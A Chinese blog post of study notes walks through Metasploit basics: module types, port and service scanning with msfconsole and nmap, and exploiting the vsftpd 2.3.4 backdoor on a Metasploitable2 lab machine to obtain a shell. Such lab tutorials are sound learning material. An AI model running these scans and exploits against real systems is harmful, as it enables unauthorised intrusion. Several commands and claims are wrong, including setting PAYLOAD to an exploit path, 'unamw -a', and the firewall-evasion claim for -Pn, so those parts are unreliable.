《Web安全攻防 渗透测试实战指南》学习笔记(9) - MSF的渗透过程

如有侵权,请联系删除

MSF基础

简介

MSF:Metasploit框架(Metasploit Framework,MSF)是一个开源工具。
MSF向后端模块提供多种接口,比如控制台、Web、CLI等等,我们一般都是用的控制台接口。因为控制台可以访问和使用所有的模块插件。

使用

下面介绍怎么使用它。
按理说,现在除了Kali没有其他系统可以用了。本来确实可以在其他Linux系统上安装,但是现在MSF官网被墙,好像可以GitHub下载脚本然后运行,但是我懒得弄了。太麻烦了,明明有更好用的方法 - 使用SSH或者XShell 6连接kali虚拟机

  1. 物理机链接Kali虚拟机。
  2. Windows使用XShell 6链接即可。

连完之后是这样的,我觉得蛮香的。

在自己的shell里使用kali,也不用给kali虚拟机多高配置了。

链接完成后,使用控制台:

msfconsole

模块

  1. Auxiliaries(辅助模块)
    该模块不会直接在测试者和目标主机之间建立访问,它们只负责执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试。
  2. Exploit(漏洞利用模块)
    漏洞利用是指由渗透测试者利用一个系统、应用或者服务中的安全漏洞进行的攻击行为。流行的渗透攻击技术包括缓冲区溢出、eb应用程序攻击,以及利用配置错误等,其中包含攻击者或测试人员针对系统中的漏洞而设计的各种POC验证程序,用于破坏系统安全性的攻击代码,每个漏洞都有相应的攻击代码。
  3. Payload(攻击载荷模块)
    攻击载荷是我们期望目标系统在被渗透攻击之后完成实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令或者执行特定代码,在 Metasploit框架中可以自由地选择、传送和植入。攻击载荷也可能是简单地在目标操作系统上执行一些命令,如添加用户账号等。
    4.Post(后期渗透模块)
    该模块主要用于在取得目标系统远程控制权后进行一系列的后渗透攻击动作,如获取敏感信息、实施跳板攻击等。
  4. Encoders(编码工具模块)
    该模块在渗透测试中负责免杀,以防止被杀毒软件、防火墙、IDS及类似的安全软件检测出来。

攻击步骤

  1. 扫描主机,进行信息收集,寻找可利用的漏洞
  2. 选择一个漏洞利用模块
  3. 选择一个攻击载荷模块
  4. 选择一个编码技术用来绕过查杀
  5. 渗透攻击

主机扫描

信息收集是第一步!获取的信息越多,渗透的可能性就越大。
重点关注的点是:目标机器的IP、可用服务、开放端口

使用辅助模块进行端口扫描

1、搜索端口模块

search portscan

扫描结果为可用的扫描器列表

msf5 > search portscan

Matching Modules
================

   #  Name                                              Disclosure Date  Rank    Check  Description
   -  ----                                              ---------------  ----    -----  -----------
   0  auxiliary/scanner/http/wordpress_pingback_access                   normal  No     Wordpress Pingback Locator
   1  auxiliary/scanner/natpmp/natpmp_portscan                           normal  No     NAT-PMP External Port Scanner
   2  auxiliary/scanner/portscan/ack                                     normal  No     TCP ACK Firewall Scanner
   3  auxiliary/scanner/portscan/ftpbounce                               normal  No     FTP Bounce Port Scanner
   4  auxiliary/scanner/portscan/syn                                     normal  No     TCP SYN Port Scanner
   5  auxiliary/scanner/portscan/tcp                                     normal  No     TCP Port Scanner
   6  auxiliary/scanner/portscan/xmas                                    normal  No     TCP "XMas" Port Scanner
   7  auxiliary/scanner/sap/sap_router_portscanner                       normal  No     SAPRouter Port Scanner

2、使用某漏洞利用模块

use 

以TCP为例

use auxiliary/scanner/portscan/tcp

查看需要设置的参数

show options

这里被标记为yes的参数都必须包含实际的值

msf5 auxiliary(scanner/portscan/tcp) > show options 

Module options (auxiliary/scanner/portscan/tcp):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   CONCURRENCY  10               yes       The number of concurrent ports to check per host
   DELAY        0                yes       The delay between connections, per thread, in milliseconds
   JITTER       0                yes       The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
   PORTS        1-10000          yes       Ports to scan (e.g. 22-25,80,110-900)
   RHOSTS                        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   THREADS      1                yes       The number of concurrent threads (max one per host)
   TIMEOUT      1000             yes       The socket connect timeout in milliseconds


看那个为空的RHOSTS的描述可以看出,这个是待扫描的IP的设置选项。所以我们可以使用set来设置

set RHOSTS 127.0.0.1

PORTS为端口扫描范围的设置

set PORTS 1-500

THREADS为扫描线程,线程越高速度越快!

set THREADS 20

经过一番设置后,再次查看配置

msf5 auxiliary(scanner/portscan/tcp) > show options 

Module options (auxiliary/scanner/portscan/tcp):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   CONCURRENCY  10               yes       The number of concurrent ports to check per host
   DELAY        0                yes       The delay between connections, per thread, in milliseconds
   JITTER       0                yes       The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
   PORTS        1-500            yes       Ports to scan (e.g. 22-25,80,110-900)
   RHOSTS       127.0.0.1        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   THREADS      20               yes       The number of concurrent threads (max one per host)
   TIMEOUT      1000             yes       The socket connect timeout in milliseconds

配置好了,使用run命令运行模块即可

msf5 auxiliary(scanner/portscan/tcp) > run

[+] 127.0.0.1:            - 127.0.0.1:22 - TCP OPEN
[*] 127.0.0.1:            - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

可以看到我的Kali虚拟机本机只开了一个22端口

还有一个命令就是unset,用来取消某个参数值的设置,执行后,参数值恢复默认设置

msf5 auxiliary(scanner/portscan/tcp) > unset PORTS 
Unsetting PORTS...
msf5 auxiliary(scanner/portscan/tcp) > show options 

Module options (auxiliary/scanner/portscan/tcp):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   CONCURRENCY  10               yes       The number of concurrent ports to check per host
   DELAY        0                yes       The delay between connections, per thread, in milliseconds
   JITTER       0                yes       The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
   PORTS        1-10000          yes       Ports to scan (e.g. 22-25,80,110-900)
   RHOSTS       127.0.0.1        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   THREADS      20               yes       The number of concurrent threads (max one per host)
   TIMEOUT      1000             yes       The socket connect timeout in milliseconds

另外还有两个命令 setgubsetg。这两个命令是对全局性的参数值进行设置或者取消设置

使用辅助模块进行服务扫描

整体的服务模块扫描都和上便提到的类似
这个可以searchscanner看一下有哪些扫描模块。这个会有580个那么多,这里弄几个比较常用的

模块 功能
auxiliary/scanner/portscan 端口扫描
auxiliary/scanner/smb/smb_version SMB系统版本扫描
auxiliary/scanner/smb/smb_enumusers SMB枚举
auxiliary/scanner/smb/smb_login SMB弱口令扫描
auxiliary/admin/smb/psexec_command SMB登录且执行命令
auxiliary/scanner/ssh/ssh_login SSH登录测试
scanner/mssql/mssql_ping MSSQL主机信息扫描
admin//mssgl_enum MSSQL枚举
admin/mssq/mssql_exec MSSQL执行命令
admin/mssq/mssql_sql MSSQL查询
scanner/mssqI/mssql_login MSSQL弱口令扫描
auxiliary/admin/mysql/mysql_enum MySQL枚举
auxiliary/admin//mysql_sql MySQ语句执行
auxiliary/scanner/mysq/mysql_login MySQL弱口令扫描
auxiliary/scanner/smtp/smtp_version SMTP版本扫描
auxiliary/scanner/smtp/smtp_enum SMTP枚举
auxiliary/scanner/snmp/community SNMP扫描设备
auxiliary/scanner/telnet/telnet_login TELNET登录
scanner/vnc/vnc_none_auth VNC空口令扫描

使用nmap扫描

直接在MSF中使用nmap就可以了,和正常的nmap使用方法是一样的。包括此类第三方的还有sqlmap

msf5 auxiliary(scanner/ssh/ssh_login) > nmap -Pn/-p0 -O 127.0.0.1
[*] exec: nmap -Pn/-p0 -O 127.0.0.1

Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-20 16:44 CST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00010s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6.32
OS details: Linux 2.6.32
Network Distance: 0 hops

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.47 seconds

这里的-p0的意思就是不ping,而-Pn的意思众所周知就是默认主机都是活动的。二者结合起来,可以穿透防火墙,也可以避免被防火墙发现。

漏洞利用

靶场搭建

自行百度matesploitable2搭建教程。
我简单说一下,其实就是去下载一个虚拟机文件,该文件支持三大虚拟机,而且默认开启NATHost-only,就是说,所有配置都是配置好的了。而且是虚拟机文件,这个如果不经常捣鼓虚拟机的要区分一下镜像和虚拟机文件的区别:你用镜像安装完系统之后,会生成一个虚拟机文件,镜像就没用了。然后你每次在虚拟机的系统里操作,虚拟机文件都会做相应的变化。这个虚拟机文件就是全都配置好的了,你下载完 了,直接双击.vmx后缀文件就可以了。前提是你安了虚拟机,VMWare、VIrtaulBox都行。
然后用户名和密码全都是msfadmin
系统版本为Ununtu
所以说这是一个满是漏洞的Ubuntu系统。

进入系统之后,使用这个命令ifconfig查看本机IP。

扫描

前一部分的主机扫描主要是辅助模块(Auxiliaries)的利用。这部分要开始使用漏洞利用模块(Exploit)攻击负载模块(Payload)
这两个模块结合基本可以大部分的渗透攻击了!

首先可以使用辅助模块进行端口和服务的扫描;或者是直接利用nmap -sV [URL]来查看端口和服务版本信息。

msf5 exploit(multi/samba/usermap_script) > nmap -sV 172.16.229.139
[*] exec: nmap -sV 172.16.229.139

Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-20 21:20 CST
Nmap scan report for 172.16.229.139
Host is up (0.00076s latency).
Not shown: 977 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login       OpenBSD or Solaris rlogind
514/tcp  open  tcpwrapped
1099/tcp open  java-rmi    GNU Classpath grmiregistry
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:B7:F5:66 (VMware)
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.47 seconds

扫描结果需要注意两点:

  1. 端口号 PORT
  2. 版本信息 VERSION

漏洞利用

就以第一个vsftpd为例。这里的没一个服务都可以使用接下来类似的步骤进行渗透,其实也无非就是开头说的,ExploitPayload的结合。

  1. 查找这个服务可用的漏洞利用模块
msf5 exploit(multi/samba/usermap_script) > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution

只有一个可用的模块,如果有很多模块的时候,可以根据Disclosure、Rank和Descripion来判断要用哪个,一般年份越新,等级是优秀的,那么那个就可以用。

  1. 设置Payload为这个模块
    如果喜欢可以使用info [NAME]查看模块信息
set PAYLOAD exploit/unix/ftp/vsftpd_234_backdoor
  1. 看看还需要哪些配置
show options

同样的Requiredyes的话,该位置的值必须不能为空。
通过set来设置,类似这种

set LHOST 182.168.0.1
  1. exploit或者run
    全配置完了执行exploit或者run即可。
    执行成功的话就会看见建立起了一个Shell,你可以执行下面命令验证一下
    主机名称
hostname

用户名

unamw -a

IP

ifconfig

然后就可以进行下一步操作了 - 后渗透攻击


但是说真的,我就是一个小菜鸡,我连Web这一块都没弄明白呢,我还内网渗透,渗透个龟龟儿,算了算了,就不下一步了…


这本书的学习笔记就差不多就更新到这里。但是这本书里没有文件包含的内容,还有CSRF、SSRF我没怎么好好看,感觉我前端知识太薄弱了,看书有点get不到点。这三部分后续我会进行学习,然后进行笔记更新。

还有就是burp的笔记、文件上传的笔记并没有发上来。因为我都是在本地记的笔记,然后复制到CSDN,burp那一块有太多的截图说明了,复制图片很麻烦就没发;文件上传是因为我在自己的云服务器上搭的靶场,那个发出来我的ip就暴露了,我怕被搞,太麻烦了。

那么下一步的计划可能就是各种比赛、靶场、挖洞了。教育意义大的会更新!

这个系列基本就告一段落了~


你可能感兴趣的:(web安全,渗透基础)